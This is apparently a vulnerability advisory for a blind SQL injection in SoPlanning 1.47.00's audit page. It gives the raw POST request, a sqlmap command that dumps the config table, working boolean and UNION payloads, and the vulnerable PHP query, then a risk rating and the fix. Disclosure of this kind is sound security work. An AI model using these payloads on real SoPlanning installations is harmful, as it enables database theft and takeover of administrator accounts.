Background
SQL Injection (SQLi) is a vulnerability whereby an attacker alters the intended logic of an SQL command. To do this they tamper with the original SQL query through user controllable input fields.
As a result, the attacker may be able to access, modify and delete stored data, thus compromising its confidentiality, integrity and availability.
Depending on the underlying database system it may be possible to read or write files and/or execute commands on the operating system. In these situations, the impact migrates from the database to the supporting infrastructure and would potentially enable onward attacks to occur against neighbouring systems.
SQL Injection is a common vulnerability and is often the root cause of major data breaches.
Details
SoPlanning version 1.47.00 was vulnerable to a boolean-based blind SQL Injection vulnerability. This allowed an authenticated user to extract information from the application database, including configuration data as well as user hashes.
The following was the request made to the Audit page:
POST /soplanning/www/audit.php HTTP/1.1
Host: 192.168.0.88
Content-Length: 92
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.0.88
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.0.88/soplanning/www/audit.php
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: dateDebut=03/09/2020; dateFin=03/11/2020; xposJoursWin=0; xposMoisWin=0; yposJoursWin=0; yposMoisWin=0; soplanningplanning_=r22g78taga3ok7tg3d5l03434n; baseColonne=jours; baseLigne=projets; dimensionCase=reduit; statut_projet=%5B%22abort%22%2C%22archive%22%2C%22done%22%2C%22progress%22%2C%22todo%22%5D
Connection: close
filtreUserAudit=1&filtreGroupeProjetAudit=1&filtreGroupeProjetAudit=test1&projet_test1=test1
Figure 1 highlighted the vulnerable parameter location in the Audit page.

Figure 1 – Audit Vulnerable SQLi Parameter
SQLMAP was used to automate this attack as shown below:
$ python sqlmap.py -r auditRequest.txt --proxy="http://127.0.0.1:8080" --dbms=mysql --method=POST -p"projet_test1" --level=5 --risk=3 -D soplanning -T planning_config --dump
[...]
---
Parameter: projet_test1 (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: filtreUserAudit=1&filtreGroupeProjetAudit=1&filtreGroupeProjetAudit=test1&projet_test1=test1') AND 1720=1720-- oMkq
Type: UNION query
Title: Generic UNION query (NULL) - 26 columns
Payload: filtreUserAudit=1&filtreGroupeProjetAudit=1&filtreGroupeProjetAudit=test1&projet_test1=test1') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171716b71,0x696b52715a6f4773796e6c4352695263737a6a7157485167537346587341746e6948786577697966,0x7170767671),NULL-- -
---
[17:03:50] [INFO] testing MySQL
[17:03:51] [INFO] confirming MySQL
[17:03:51] [INFO] the back-end DBMS is MySQL web application technology: PHP 7.4.9, Apache 2.4.46 back-end DBMS: MySQL >= 8.0.0
[17:03:53] [INFO] fetching entries for table 'planning_config' in database 'soplanning'
[17:03:54] [INFO] recognized possible password hashes in column 'valeur' do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] do you want to crack them via a dictionary-based attack? [Y/n/q] n
Database: soplanning
Table: planning_config
[65 entries]
+----------------------------------------+----------------------------------+-------------------------------------------------------------------------------------------------------------------------------------+
| cle | valeur | commentaire |
+----------------------------------------+----------------------------------+-------------------------------------------------------------------------------------------------------------------------------------+ |
CONTACT_FORM_DEACTIVATE |
| Put 1 to deactivate the display of the small button/popin (contact form) |
| CURRENT _VERSION | 1.47.00
| [...]
The highlighted parts demonstrate that:
⎯ The backend was MySQL >= 8.0.0, PHP 7.4.9 and Apache 2.4.46; and
⎯ Listed the column names for the “planning_config” table in the “soplanning” database as well as the data stored in the table, such as the ‘CURRENT_VERSION’ row.
This was sufficient to demonstrate that data extraction was possible. Additional impacts such as file reading/writing, and OS command execution would be dependent on the setup of the database. Those would be different for each customer deployment of SoPlanning.
The following snippet contained the vulnerable SQL query in the ‘audit.php’ file constructed using untrusted user-controlled input:
$sql = "SELECT pa.*, pu.nom as modif_nom, pu2.nom as user_nom, pp.nom as projet_nom, pl.nom as lieu_nom, pr.nom as ressource_nom, ps.nom as status_nom, pe.nom as equipe_nom, pg.nom as groupe_nom, ppe.date_debut, pu3.nom as periode_user_nom
FROM planning_audit as pa
LEFT JOIN planning_user as pu ON pu.user_id = pa.user_modif
LEFT JOIN planning_user as pu2 ON pu2.user_id = pa.user_id
LEFT JOIN planning_projet as pp ON pp.projet_id = pa.projet_id
LEFT JOIN planning_lieu as pl ON pl.lieu_id = pa.lieu_id
LEFT JOIN planning_ressource as pr ON pr.ressource_id = pa.ressource_id
LEFT JOIN planning_status as ps ON ps.status_id = pa.lieu_id
LEFT JOIN planning_periode as ppe ON ppe.periode_id = pa.periode_id
LEFT JOIN planning_user as pu3 ON pu3.user_id = ppe.user_id
LEFT JOIN planning_user_groupe as pe ON pe.user_groupe_id = pa.equipe_id
LEFT JOIN planning_groupe as pg ON pg.groupe_id = pa.groupe_id WHERE 1=1";
if(count($_SESSION['filtreUserAudit']) > 0) { $sql.= " AND pa.user_modif IN ('" . implode("','",
$_SESSION['filtreUserAudit']) . "')";
}
if(count($_SESSION['filtreGroupeProjetAudit']) > 0) { $sql.= " AND pa.projet_id IN ('" . implode("','",
$_SESSION['filtreGroupeProjetAudit']) . "')";
}
Users with access to view the audit functionality would be able to exploit this vulnerability to extract data from the database thus compromising the confidentiality of the data stored by the application.
In addition to this, the attacker can gain access to the SECURE_KEY, which would allow them to issue password reset requests for other user accounts, in doing so, they would be able to elevate their access level to that of an administrator.
Risk Analysis
Risk Category: High
CVSSv2: 8.1 AV:N/AC:L/Au:S/C:C/I:C/A:N/E:F
CVSSv3: 9.6 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
Affected item
SOPlannning version 1.47 and lower
Recommendation
Update to SOPlannning Version 1.48